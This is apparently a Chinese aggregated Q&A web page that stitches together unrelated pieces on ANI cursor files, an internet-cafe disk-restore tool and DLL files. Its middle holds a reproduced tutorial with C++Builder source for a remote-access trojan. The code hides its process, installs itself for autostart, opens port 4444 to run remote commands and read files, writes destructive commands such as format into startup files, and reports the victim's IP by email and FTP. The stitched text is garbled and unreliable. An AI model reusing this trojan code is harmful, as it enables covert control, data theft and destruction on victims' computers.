1.ani文件怎么打开

2.我想知道网吧的电脑系统是怎么工作的。

3.木马是怎么利用电脑系统的漏洞来进行攻击的?

4.msstdfmt.dll如何使用

5..DLL文件怎么打开?

ani文件怎么打开

怎么开发动态电脑系统文件-怎么打开动态磁盘

ani文件是什么?ani文件格式介绍如下:ANI(APPlicedonStartinsHourGlass)文件是MS-Windows的动画光标文件,其文件扩展名为“.ani”。它一般由四部分构成:文字说明区、信息区、时间控制区和数据区,即ACONLIST块。anih块、rate块和LIST块。任何光标编辑软件都能打开,包括microangelo,Acdsee也完全能够打开ani文件,虽然默认ani文件是没有关联到acdsee的,你必须用右键“openwith”找到acdsee才能打开。ani格式图标如下:ani文件是什么以及ani文件怎么打开详情如下:ANI文件摘要我们有二个与ANI文件相关的已知软件程序(通常是由ACDSystems开发的称为ACDSystemsACDSee的软件),它们可以归类为一种主要文件类型。通常,这些文件被视为WindowsAnimatedCursor格式。在大多数情况下,这些文件被视为SystemFiles

Windows操作系统可用于查看ANI文件。这些程序通常可以在台式计算机(以及一些移动设备)上找到,使您能够查看并有时编辑上述格式文件。这些文件的普及性为“低”,这意味着它们并不常见。

如果您在打开ANI文件时遇到问题,或者只是想了解有关它们的软件程序和开发人员的更多信息,请参阅下面的完整信息。

ANI文件的类型首席ANI说明.ANI文件分机:.ani文件类型:WindowsAnimatedCursor的ANI文件是由Windows操作体系。所使用的光标的动画文件ANI文件中包含的图像帧的动画序列。ICOfiles.TheANI文件的集合类似于.CUR文件,但包含用于动画的多个图像。

文章作者:MicrosoftCorporation组:系统文件入场:HKEY_CLASSES_ROOT.ani打开WindowsAnimatedCursor的软件程序:

ACDSystems开发的ACDSystemsACDSee(软件环境:Windows)AxialisCompany开发的AxialisCursorWorkshop(软件环境:Windows)了解ANI问题典型的ANI开放挑战ACDSystemsACDSee已删除尝试打开ANI时,你会遇到一条错误消息,例如“%%os%%无法打开ANI文件”。通常,这是因为你没有安装适用于%%os%%的ACDSystemsACDSee。操作系统不知道如何处理你的ANI文件,因此双击加载该文件不起作用。

提示:如果你知道有其他软件打开ANI文件,你可以通过点击“显示应用程序”按钮来选择该软件。

ACDSystemsACDSee已过时有时你安装的ACDSystemsACDSee版本不支持你的WindowsAnimatedCursor文件。如果您安装了错误的ACDSystemsACDSee版本,则需要安装正确的版本。此问题主要发生在您的WindowsAnimatedCursor文件是由比电脑上的更新版本的ACDSystemsACDSee创建的时候。

提示:有时您可以通过右键单击文件,然后单击“属性”(Windows)或“获取信息”(MacOSX)来获得有关ANI文件的版本的提示。

无论如何,大多数ANI文件打开问题都与没有安装正确版本的ACDSystemsACDSee有关。

加载ANI文件的相关困难即使安装了正确版本的ACDSystemsACDSee,打开ANI仍然会遇到困难。如果打开ANI文件时仍然无法打开ANI文件,那么可能还有其他问题阻止您打开这些文件。与软件无关的问题:

Windows注册表中的ANI文件引用已损坏无意删除Windows注册表中ANI文件的描述未完全完成的部分ACDSystemsACDSee安装ANI本身已损坏你的ANI受到恶意软件的不利影响与ANI相关的硬件有设备驱动程序损坏系统不足以成功打开WindowsAnimatedCursor文件ani文件是什么以及ani文件怎么打开扩展阅读.ANI文件扩展名文件类型Windows动画光标文件开发者微软常用度日常使用格式文件后缀.ani文件分类系统文件ANI是什么文件?ANI文件是Windows系统使用的动画光标文件,它包含了以.ICO文件作为图像帧的动画序列集合。ANI文件用于Windows鼠标指针的动态光标,例如:旋转的沙漏(用于表示等待时间),转圈的圆圈(用于表示正在运行)。

ANI文件扩展信息ANI文件含有多个图形信息,以及各个图形的显示顺序和显示时间长度的信息,它的结构比较复杂,但每一个图形的格式则与静态光标CUR文件中图形的描述方式是一样的。而在多幅之间的关系定义上,ANI与.Gif动画是很类似的。

可以通过:控制面板》鼠标》指针操作改变鼠标指针的显示效果。

ANI文件与.CUR文件都是Windows系统光标文件,ANI文件与CUR文件都存放在C:WindowsCursors目录里。不过ANI是动态光标,而CUR是静态光标。

ANI文件怎么打开?如果你电脑上打不开ANI文件,原因可能有很多,而最常见最主要的原因就是你的电脑没有安装可以打开ANI文件的软件;Windows系统会弹出提示框:“若要打开此文件,Windows需要知道哪个程序打开它”,最简单直接的解决办法就是下载并安装合适的软件来打开ANI文件。

可以打开ANI文件的软件程序

我想知道网吧的电脑系统是怎么工作的。

网吧快速还原系统用最新的动态还原技术。在不重启动操作系统的情况下,可以动态地实现还原、转存、保护状态转换和打开写入设备等操作。即可实现从可写设备写入数据后,动态还原为写入后的状态,实现真正意义上的”穿透更新”。 安装: 运行setup.exe,点安装驱动按钮即可。注意:安装本还原软件前,请卸载掉其他还原软件和还原卡。该软件本身就是一款还原软件。注意:请一定要先装好系统后,再装还原。装好还原后,不要克隆该系统。 使用: 运行setup.exe,选择需要操作的分区后,再选择保护状态和执行命令,最后,点应用即可。注意:对系统盘(C盘)和页面文件(pagefile.sys)所在盘符操作时仍然需要重启,对其他盘符操作时,会强制关闭打开的文件并执行操作(不需要重启)。 卸载: 运行setup.exe,点卸载驱动按钮后重启动即可完成卸载,系统会自动转存数据。 如果忘记了还原密码而导致无法卸载,只要在纯DOS下格式化C盘或者ghost恢复系统,还原即被移除。 快速安装:(设setup.exe在D:\) 如果要安装驱动,密码设置为123,还原保护C、D盘。 请运行 D:\setup.exe /install /password:123 /protect:CD 如果需要安装驱动的同时设置启动保护,请加上/check 请运行 D:\setup.exe /install /check /password:123 /protect:CD 快速卸载: 如果还原密码为123,要卸载驱动。 请运行 D:\setup.exe /uninstall /password:123 启动保护: 在安装好驱动,并设置好还原保护分区后。运行setup.exe,点启动保护按钮,输入密码后,就可以每次开机检查还原分区是否处于还原状态。如还原分区因为更新时强行关机而失去保护,会自动转入还原状态。 手工备份文件: 可用增加备份文件和重设备份文件命令,手工添加需要备份的系统重要文件。如:(c:\windows\system32\userinit.exe)上述文件系统已经自动加入,已经可以免疫”机器狗”等穿透还原型。 ”机器狗”资料 ://.pubgen.net/bbs3/dispbbs.asp?boardID=4&ID=579&page=1 安装注意: 1、如果安装快速还原时出现设置失败,(ErrorCode=:0x5) 和 (ErrorCode=:0x2)错误,请先删除c:\protect.sys 和 c:\windows\system32\drivers\fakedisk.sys 文件后,再安装。 2、安装后,启动计算机按F8,选最后一次正确的配置,还原就会失效。 解决办法是:安装后,运行setup.exe,选C盘保存命令,再点应用,重起即可。最彻底解决方法是,安装补丁,屏蔽F8。 3、安装该还原系统后,不能再用ghost打包系统或整盘成镜象文件。应该打包没有安装还原的系统,恢复镜象后再装还原。客户机也要先卸载老的快速还原再克隆。 万一发生了安装驱动再克隆的情况,被克隆机器的还原卸载方法是:删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E967-E325-11CE-BFC1-08002BE10318}\UpperFilters里面的fakedisk键并重起,再重新安装快速还原即可。 4、使用NF4主板的系统安装还原后,系统会启动缓慢是由于与他的驱动(NVIDIA IDE SW 驱动程序)冲突导致的。请卸载该驱动! 5、请打开Logical Disk Manager服务,不然动态切换还原状态后会提示找到新磁盘驱动器硬件。 6、快速还原系统与网吧收费软件pu EP的还原功能相冲突,请删除pu EP的genfs.sys文件即可。 对于Pu2007用户在使用菜单和快速还原时会发生蓝屏的现象只需要下载本补丁 ://.hintsoft.cn/Genfs.zip 在Pu中进行替换即可。如果还不行,删除genfs.sys文件。 7、请禁用操作系统的Shell Hardware Detection服务,以避免动态还原时,出现自动打开文件的对话框。 8、请使用字符命令 chkntfs /x c: d: e: 关闭操作系统启动时的磁盘检查,以避免频繁出现的文件损坏现象。 9、安装还原后,如果出现输入了正确的密码仍然显示密码错误无法登陆setup.exe管理界面,即使恢复了系统也不行。这个情况是因为你没有正常卸载老的还原或者打包的ghost镜象文件里有安装好的还原系统导致的。请用 FDISK /MBR 重建主磁盘的主引导记录,然后去除掉ghost镜象文件里安装好的还原,再重新恢复系统即可。 优化注意: 1、因为动态切换还原状态时会对整个保护分区重新扫描,建议把分区大小调小,多建立几个分区(如:系统盘、网络游戏盘、单机游戏盘和网友专用盘)。每个分区不要超过128G,大小60G以内比较好,建议用NTFS格式,,格式化时分配单元大小(族)尽量大些。 2、在”我的电脑”的系统属性->高级->性能->高级->处理器和内存使用 里,设置为调整以优化程序性能。 3、操作系统的虚拟内存页面文件请不要放在需要动态还原和穿透写入的分区!最好单独一个分区或者放在C盘,并预留足够的磁盘空间以备使用。 ://.52netbar

木马是怎么利用电脑系统的漏洞来进行攻击的?

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos?Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗?先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成?服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈?难道你还给受害者传一个1兆多的动态链接库?Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion >= 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket->ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket->SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib & FA_RDONLY)

file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_DIREC)

fwrite(" <DIR> ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已试了100次了

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧?操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x?NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion < 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket->SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket->Close();

file://关闭服务

ServerSocket1->Active =true;

file://再次打开服务

if (NMSMTP1->Connected) NMSMTP1->Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1->Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和amail

NMSMTP1->UserID = "";

file://你SMTP的ID

try

{

NMSMTP1->Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1->PostMessage->FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1->PostMessage->FromName = "Casualty";

file://受害者的名字

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1->PostMessage->Subject = "Server Running Now!";

file://信的主题

NMSMTP1->SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1->Host = "ftp.go.163";

file://你的FTP服务器的地址

NMFTP1->UserID = "";

file://你的用户ID

NMFTP1->Port = 21;

file://FTP端口号,一般为21

NMFTP1->Password = "";

file://你的FTP的密码

if(NMFTP1->Connected) NMFTP1->Disconnect();

file://如果已连接就断开

try

{

NMFTP1->Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1->RemoveDir("public_html");

file://删除public_html目录

NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

file://上传!

}

啊,超长的OnClientRead终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include <stdlib.h>

#include <dirent.h>

#include <fcntl.h>

#include <dos.h>

#include <sys\stat.h>

#include <winbase.h>

#include <stdio.h>

#include <process.h>

#include <io.h>

#include <mmsystem.h>

至此,服务器端(Server)程序已全部

msstdfmt.dll如何使用

dll文件一般被存放在C:\Windows\System目录下。电脑系统文件因经常会受到的侵扰,导致系统文件、dll文件等丢失、损坏,一些包括游戏在内的应用程序无法启动。

.dll,动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。

DLL的优点:

当程序使用 DLL 时,具有以下的优点: 使用较少的,当多个程序使用同一个函数库时,DLL 可以减少在磁盘和物理内存中加载的代码的重复量。这不仅可以大大影响在前台运行的程序,而且可以大大影响其他在?Windows 操作系统上运行的程序。

推广模块式体系结构DLL 有助于促进模块式程序的开发。这可以帮助您开发要求提供多个语言版本的大型程序或要求具有模块式体系结构的程序。模块式程序的一个示例是具有多个可以在运行时动态加载的模块的计帐程序。

简化部署和安装当 DLL 中的函数需要更新或修复时,部署和安装 DLL 不要求重新建立程序与该 DLL 的链接。此外,如果多个程序使用同一个 DLL,那么多个程序都将从该更新或修复中获益。当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地出现。

.DLL文件怎么打开?

Dell向运行于Windows操作系统下的程序提供代码、数据或函数。程序可根据DLL文件中的指令打开、启用、查询、禁用和关闭驱动程序。

打开一个程序的安装目录,在这里面可以看到一些dll的一些文件。如果在它的上面双击的话会在它的旁边提示:如果是想要查看它可以下载安装一个叫exescope的自定义应用软件的工具。

右边有一个更多,点击一下“更多”,可以看到它的默认安装路径,如果不需要更改的话,它就会默认的安装到c盘的程序文件夹中。

点击安装之后,在它弹出的面板中有一个自动汉化的说明,我们点击“已阅”。接着在它的安装过程中会出现一个安装类型,可以根据需要选择一个安装类型,这里就选择它默认的“典型安装”,然后点击:下一步。当安装到汉化的安装目录的时候它会提示,如果是不想把它安装到默认位置的话,可以在点击浏览选择一个安装的文件位置。